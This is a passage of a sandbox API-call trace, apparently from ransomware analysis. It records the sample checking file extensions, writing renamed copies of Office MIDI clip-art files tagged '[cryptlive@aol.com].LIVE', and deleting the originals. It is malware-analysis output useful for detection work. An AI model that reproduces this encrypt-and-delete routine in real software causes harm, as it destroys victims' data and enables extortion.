lpNewFilePointer=0x0) returned 1 [0134.361] SetEndOfFile (hFile=0x2f8) returned 1 [0134.363] CloseHandle (hObject=0x2f8) returned 1 [0134.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0134.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.365] lstrlenW (lpString=".doc") returned 4 [0134.365] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.365] lstrlenW (lpString=".docx") returned 5 [0134.365] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.365] lstrlenW (lpString=".pdf") returned 4 [0134.365] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.365] lstrlenW (lpString=".xls") returned 4 [0134.365] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.365] lstrlenW (lpString=".xlsx") returned 5 [0134.365] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.365] lstrlenW (lpString=".ppt") returned 4 [0134.365] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString=".zip") returned 4 [0134.366] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.366] lstrlenW (lpString=".rar") returned 4 [0134.366] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.366] lstrlenW (lpString=".bz2") returned 4 [0134.366] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.366] lstrlenW (lpString=".7z") returned 3 [0134.366] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString=".dbf") returned 4 [0134.366] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString=".1cd") returned 4 [0134.366] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString=".jpg") returned 4 [0134.366] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.366] lstrlenW (lpString=".doc") returned 4 [0134.366] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.366] lstrlenW (lpString=".docx") returned 5 [0134.366] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.366] lstrlenW (lpString=".pdf") returned 4 [0134.367] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.367] lstrlenW (lpString=".xls") returned 4 [0134.367] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.367] lstrlenW (lpString=".xlsx") returned 5 [0134.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.367] lstrlenW (lpString=".ppt") returned 4 [0134.367] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.367] lstrlenW (lpString=".zip") returned 4 [0134.367] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.367] lstrlenW (lpString=".rar") returned 4 [0134.367] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.367] lstrlenW (lpString=".bz2") returned 4 [0134.367] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.367] lstrlenW (lpString=".7z") returned 3 [0134.367] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.367] lstrlenW (lpString=".dbf") returned 4 [0134.367] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.367] lstrlenW (lpString=".1cd") returned 4 [0134.367] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0134.367] lstrlenW (lpString=".jpg") returned 4 [0134.367] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.367] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.367] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0134.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.368] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=5843) returned 1 [0134.368] CloseHandle (hObject=0x2f8) returned 1 [0134.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0134.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.369] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.369] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.370] GetLastError () returned 0x0 [0134.370] ReadFile (in: hFile=0x2f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x16d3, lpOverlapped=0x0) returned 1 [0134.444] WriteFile (in: hFile=0x36c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0134.446] ReadFile (in: hFile=0x2f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.446] WriteFile (in: hFile=0x36c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.446] SetEndOfFile (hFile=0x36c) returned 1 [0134.452] CloseHandle (hObject=0x36c) returned 1 [0134.453] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.453] SetEndOfFile (hFile=0x2f8) returned 1 [0134.455] CloseHandle (hObject=0x2f8) returned 1 [0134.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0134.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.479] lstrlenW (lpString=".doc") returned 4 [0134.479] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.479] lstrlenW (lpString=".docx") returned 5 [0134.479] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.479] lstrlenW (lpString=".pdf") returned 4 [0134.479] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.479] lstrlenW (lpString=".xls") returned 4 [0134.479] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.479] lstrlenW (lpString=".xlsx") returned 5 [0134.479] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.479] lstrlenW (lpString=".ppt") returned 4 [0134.479] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString=".zip") returned 4 [0134.480] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.480] lstrlenW (lpString=".rar") returned 4 [0134.480] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.480] lstrlenW (lpString=".bz2") returned 4 [0134.480] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.480] lstrlenW (lpString=".7z") returned 3 [0134.480] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString=".dbf") returned 4 [0134.480] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString=".1cd") returned 4 [0134.480] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString=".jpg") returned 4 [0134.480] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.480] lstrlenW (lpString=".doc") returned 4 [0134.481] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.481] lstrlenW (lpString=".docx") returned 5 [0134.481] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.481] lstrlenW (lpString=".pdf") returned 4 [0134.481] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.481] lstrlenW (lpString=".xls") returned 4 [0134.481] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.481] lstrlenW (lpString=".xlsx") returned 5 [0134.481] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.481] lstrlenW (lpString=".ppt") returned 4 [0134.481] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.481] lstrlenW (lpString=".zip") returned 4 [0134.481] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.481] lstrlenW (lpString=".rar") returned 4 [0134.481] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.481] lstrlenW (lpString=".bz2") returned 4 [0134.481] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.481] lstrlenW (lpString=".7z") returned 3 [0134.481] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.481] lstrlenW (lpString=".dbf") returned 4 [0134.481] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.481] lstrlenW (lpString=".1cd") returned 4 [0134.481] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0134.481] lstrlenW (lpString=".jpg") returned 4 [0134.481] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.481] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.481] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0134.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.665] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=6644) returned 1 [0134.665] CloseHandle (hObject=0x314) returned 1 [0134.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0134.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.730] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.730] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.731] GetLastError () returned 0x0 [0134.731] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0134.733] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0134.734] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.734] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.734] SetEndOfFile (hFile=0x38c) returned 1 [0134.734] CloseHandle (hObject=0x38c) returned 1 [0134.735] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.735] SetEndOfFile (hFile=0x1ec) returned 1 [0134.737] CloseHandle (hObject=0x1ec) returned 1 [0134.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0134.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.738] lstrlenW (lpString=".doc") returned 4 [0134.738] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.738] lstrlenW (lpString=".docx") returned 5 [0134.738] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.738] lstrlenW (lpString=".pdf") returned 4 [0134.738] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.738] lstrlenW (lpString=".xls") returned 4 [0134.738] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.738] lstrlenW (lpString=".xlsx") returned 5 [0134.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.739] lstrlenW (lpString=".ppt") returned 4 [0134.739] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString=".zip") returned 4 [0134.739] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.739] lstrlenW (lpString=".rar") returned 4 [0134.739] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.739] lstrlenW (lpString=".bz2") returned 4 [0134.739] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.739] lstrlenW (lpString=".7z") returned 3 [0134.739] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString=".dbf") returned 4 [0134.739] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString=".1cd") returned 4 [0134.739] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString=".jpg") returned 4 [0134.739] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.739] lstrlenW (lpString=".doc") returned 4 [0134.739] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.739] lstrlenW (lpString=".docx") returned 5 [0134.739] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.739] lstrlenW (lpString=".pdf") returned 4 [0134.739] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.739] lstrlenW (lpString=".xls") returned 4 [0134.739] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.739] lstrlenW (lpString=".xlsx") returned 5 [0134.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.739] lstrlenW (lpString=".ppt") returned 4 [0134.740] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.740] lstrlenW (lpString=".zip") returned 4 [0134.740] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.740] lstrlenW (lpString=".rar") returned 4 [0134.740] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.740] lstrlenW (lpString=".bz2") returned 4 [0134.740] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.740] lstrlenW (lpString=".7z") returned 3 [0134.740] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.740] lstrlenW (lpString=".dbf") returned 4 [0134.740] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.740] lstrlenW (lpString=".1cd") returned 4 [0134.740] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0134.740] lstrlenW (lpString=".jpg") returned 4 [0134.740] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.740] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.740] lstrlenW (lpString="PARNT_04.MID") returned 12 [0134.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.742] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=6070) returned 1 [0134.742] CloseHandle (hObject=0x1ec) returned 1 [0134.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0134.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.743] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.743] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.743] GetLastError () returned 0x0 [0134.744] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x17b6, lpOverlapped=0x0) returned 1 [0134.745] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0134.747] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.747] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.747] SetEndOfFile (hFile=0x38c) returned 1 [0134.747] CloseHandle (hObject=0x38c) returned 1 [0134.747] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.747] SetEndOfFile (hFile=0x1ec) returned 1 [0134.750] CloseHandle (hObject=0x1ec) returned 1 [0134.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0134.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".doc") returned 4 [0134.751] lstrcmpiW (lpString1=".doc", lpString2=".MID") 